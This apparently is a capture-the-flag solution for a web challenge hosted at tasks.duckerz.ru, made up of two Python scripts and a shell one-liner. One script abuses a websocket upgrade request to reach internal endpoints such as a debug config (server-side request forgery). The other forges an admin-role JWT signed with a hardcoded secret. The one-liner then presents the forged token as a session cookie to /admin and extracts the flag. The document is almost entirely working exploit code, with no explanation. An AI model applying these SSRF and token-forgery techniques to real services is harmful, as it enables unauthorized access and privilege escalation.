#!/usr/bin/env python3
import socket, sys
H, P = "tasks.duckerz.ru", 30079
dst = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"
req = (f"GET {dst} HTTP/1.1\r\nHost: {H}:{P}\r\nConnection: Upgrade\r\n"
f"Upgrade: websocket\r\nSec-WebSocket-Version: 13\r\n"
f"Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n\r\n").encode()
with socket.create_connection((H, P), timeout=8) as s:
s.sendall(req); s.settimeout(8); buf = []
try:
while sum(map(len, buf)) < 131072:
c = s.recv(8192)
if not c: break
buf.append(c)
except socket.timeout: pass
sys.stdout.buffer.write(b"".join(buf))
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, sys
S = b"northstar-release-secret-435656"
e = lambda v: base64.urlsafe_b64encode(json.dumps(v, separators=(",",":")).encode()).rstrip(b"=")
n = int(time.time())
h = e({"alg":"HS256","typ":"JWT"})
p = e({"sub":"release-admin@duckerz.task","email":"release-admin@duckerz.task",
"role":"admin","iss":"northstar-release","iat":n,"exp":n+3600})
m = h + b"." + p
sig = base64.urlsafe_b64encode(hmac.new(S, m, hashlib.sha256).digest()).rstrip(b"=")
print((m + b"." + sig).decode())
python3 ws_ssrf.py 'http:///api/v1/internal/debug/config' && \
TOKEN=$(python3 forge.py) && \
curl -sS -H "Cookie: ops_session=$TOKEN" 'http://tasks.duckerz.ru:30079/admin' | grep -oE 'DUCKERZ\{[^}]*\}'